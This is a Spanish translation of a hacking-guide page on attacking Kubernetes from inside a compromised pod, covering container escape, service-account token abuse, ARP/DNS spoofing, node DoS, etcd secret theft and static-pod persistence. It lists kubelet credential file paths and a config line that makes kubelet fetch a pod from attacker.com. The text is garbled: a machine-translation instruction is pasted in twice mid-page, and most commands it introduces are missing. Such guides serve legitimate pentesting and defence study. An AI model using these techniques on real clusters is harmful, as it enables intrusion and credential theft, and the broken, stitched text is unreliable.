Attacking Kubernetes from inside a Pod
Fuga de Pod
Si tienes la suerte suficiente, podrías lograr escapar de él hacia el nodo:
Escapando del pod
Para intentar escapar del pod, es posible que primero necesites escalar privilegios, algunas técnicas para hacerlo:
Puedes revisar estos escape de docker para intentar escapar de un pod que hayas comprometido:
Abusando de los Privilegios de Kubernetes
Como se explica en la sección sobre enumeración de kubernetes:
pageKubernetes EnumerationPor lo general, los pods se ejecutan con un token de cuenta de servicio en su interior. Esta cuenta de servicio puede tener algunos privilegios adjuntos que podrías abusar para moverte a otros pods o incluso para escapar a los nodos configurados dentro del clúster. Aprende cómo hacerlo en:
pageAbusing Roles/ClusterRoles in KubernetesAbusando de los Privilegios en la Nube
Si el pod se ejecuta dentro de un entorno en la nube, es posible que puedas filtrar un token desde el punto de conexión de metadatos y escalar privilegios usándolo.
Buscar servicios de red vulnerables
Dado que estás dentro del entorno de Kubernetes, si no puedes escalar privilegios abusando de los privilegios actuales de los pods y no puedes escapar del contenedor, deberías buscar servicios potencialmente vulnerables.
Servicios
Con este propósito, puedes intentar obtener todos los servicios del entorno de kubernetes:
Por defecto, Kubernetes utiliza un esquema de red plano, lo que significa que cualquier pod/servicio dentro del clúster puede comunicarse con otros. Los espacios de nombres dentro del clúster no tienen restricciones de seguridad de red por defecto. Cualquiera en el espacio de nombres puede comunicarse con otros espacios de nombres.
Escaneo
El siguiente script Bash (tomado de un taller de Kubernetes) instalará y escaneará los rangos de IP del clúster de Kubernetes:
Echa un vistazo a la siguiente página para aprender cómo podrías atacar servicios específicos de Kubernetes para comprometer otros pods/todo el entorno:
pagePentesting Kubernetes ServicesSniffing
En caso de que el pod comprometido esté ejecutando algún servicio sensible donde otros pods necesiten autenticarse, podrías obtener las credenciales enviadas desde los otros pods espiando las comunicaciones locales.
Suplantación de red
Por defecto, técnicas como el ARP spoofing (y gracias a eso, el DNS Spoofing) funcionan en la red de Kubernetes. Entonces, dentro de un pod, si tienes la capacidad NET_RAW (que está ahí por defecto), podrás enviar paquetes de red personalizados y realizar ataques de MitM a través de ARP Spoofing a todos los pods que se ejecutan en el mismo nodo. Además, si el pod malicioso se está ejecutando en el mismo nodo que el Servidor DNS, podrás realizar un ataque de DNS Spoofing a todos los pods en el clúster.
pageKubernetes Network AttacksDoS en el nodo
No hay especificación de recursos en los manifiestos de Kubernetes y no se aplican límites para los contenedores. Como atacante, podemos consumir todos los recursos donde se esté ejecutando el pod/despliegue y privar de recursos a otros y causar un DoS en el entorno.
Esto se puede hacer con una herramienta como stress-ng:
Puedes ver la diferencia mientras se ejecuta stress-ng
y después
Post-Explotación del Nodo
Si lograste escapar del contenedor, encontrarás cosas interesantes en el nodo:
El proceso de Ejecución de Contenedores (Docker)
Más pods/contenedores ejecutándose en el nodo que puedes aprovechar (más tokens)
Todo el sistema de archivos y el SO en general
El servicio Kube-Proxy escuchando
El servicio Kubelet escuchando. Verifica los archivos de configuración:
Directorio:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
Otros archivos comunes de Kubernetes:
$HOME/.kube/config
- Configuración de Usuario/etc/kubernetes/kubelet.conf
- Configuración Regular/etc/kubernetes/bootstrap-kubelet.conf
- Configuración de Inicio/etc/kubernetes/manifests/etcd.yaml
- Configuración de etcd/etc/kubernetes/pki
- Clave de Kubernetes
Encontrar kubeconfig del nodo
Si no puedes encontrar el archivo kubeconfig en alguna de las rutas mencionadas anteriormente, verifica el argumento --kubeconfig
del proceso kubelet:
Robo de Secretos
El script can-they.sh obtendrá automáticamente los tokens de otros pods y verificará si tienen los permisos que estás buscando (en lugar de que los busques uno por uno):
DaemonSets Privilegiados
Un DaemonSet es un pod que se ejecutará en todos los nodos del clúster. Por lo tanto, si un DaemonSet está configurado con una cuenta de servicio privilegiada, en TODOS los nodos podrás encontrar el token de esa cuenta de servicio privilegiada que podrías abusar.
La explotación es la misma que en la sección anterior, pero ahora no dependes de la suerte.
Pivotar hacia la Nube
Si el clúster está gestionado por un servicio en la nube, generalmente el Nodo tendrá un acceso diferente al endpoint de metadatos que el Pod. Por lo tanto, intenta acceder al endpoint de metadatos desde el nodo (o desde un pod con hostNetwork a True):
pageKubernetes Pivoting to CloudsRobar etcd
Si puedes especificar el nodeName del Nodo que ejecutará el contenedor, obtén una shell dentro de un nodo de plano de control y obtén la base de datos etcd:
Los nodos de plano de control tienen el rol de maestro y en clústeres administrados en la nube no podrás ejecutar nada en ellos.
Leer secretos desde etcd
Si puedes ejecutar tu pod en un nodo de plano de control utilizando el selector nodeName
en la especificación del pod, podrías tener acceso fácil a la base de datos etcd
, que contiene toda la configuración del clúster, incluidos todos los secretos.
A continuación se muestra una forma rápida y sucia de obtener secretos de etcd
si se está ejecutando en el nodo de plano de control en el que te encuentras. Si deseas una solución más elegante que inicie un pod con la utilidad de cliente etcd
etcdctl
y utilice las credenciales del nodo de plano de control para conectarse a etcd
donde sea que se esté ejecutando, consulta este ejemplo de manifiesto de @mauilion.
Verifica si etcd
se está ejecutando en el nodo de plano de control y dónde se encuentra la base de datos (esto es en un clúster creado con kubeadm
)
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El contenido siguiente es del archivo pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Traduce el texto relevante al español y devuelve la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzcas cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregues nada adicional aparte de la traducción y la sintaxis de markdown.
Ver los datos en la base de datos de etcd:
Extraer los tokens de la base de datos y mostrar el nombre de la cuenta de servicio
Mismo comando, pero con algunos greps para devolver solo el token predeterminado en el espacio de nombres kube-system
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El contenido siguiente es del archivo pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Traduce el texto relevante al español y devuelve la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzcas cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregues nada aparte de la traducción y la sintaxis de markdown.
Persistencia de Pods Estáticos/Reflejados
Los Pods Estáticos son gestionados directamente por el demonio kubelet en un nodo específico, sin que el servidor API los observe. A diferencia de los Pods gestionados por el plano de control (por ejemplo, un Despliegue); en su lugar, el kubelet observa cada Pod estático (y lo reinicia si falla).
Por lo tanto, los Pods estáticos siempre están vinculados a un solo Kubelet en un nodo específico.
El kubelet intenta automáticamente crear un Pod espejo en el servidor API de Kubernetes para cada Pod estático. Esto significa que los Pods en ejecución en un nodo son visibles en el servidor API, pero no se pueden controlar desde allí. Los nombres de los Pods tendrán un sufijo con el nombre del nodo con un guion delante.
La spec
de un Pod estático no puede hacer referencia a otros objetos de la API (por ejemplo, ServiceAccount, ConfigMap, Secret, etc. Por lo tanto, no puedes abusar de este comportamiento para lanzar un pod con una ServiceAccount arbitraria en el nodo actual para comprometer el clúster. Pero podrías usar esto para ejecutar pods en diferentes espacios de nombres (en caso de que sea útil por alguna razón).
Si estás dentro del host del nodo, puedes hacer que cree un pod estático dentro de sí mismo. Esto es bastante útil porque podría permitirte crear un pod en un espacio de nombres diferente como kube-system.
Para crear un pod estático, la documentación es de gran ayuda. Básicamente necesitas 2 cosas:
Configurar el parámetro
--pod-manifest-path=/etc/kubernetes/manifests
en el servicio kubelet, o en la configuración kubelet (staticPodPath) y reiniciar el servicioCrear la definición en el archivo de definición del pod en
/etc/kubernetes/manifests
Otra forma más sigilosa sería:
Modificar el parámetro
staticPodURL
del archivo de configuración de kubelet y establecer algo comostaticPodURL: http://attacker.com:8765/pod.yaml
. Esto hará que el proceso kubelet cree un pod estático obteniendo la configuración desde la URL indicada.
Ejemplo de configuración de pod para crear un pod con privilegios en kube-system tomado de aquí:
Eliminar pods + nodos no programables
Si un atacante ha comprometido un nodo y puede eliminar pods de otros nodos y hacer que otros nodos no puedan ejecutar pods, los pods se volverán a ejecutar en el nodo comprometido y podrá robar los tokens que se ejecutan en ellos. Para más información sigue estos enlaces.
Herramientas Automáticas
Última actualización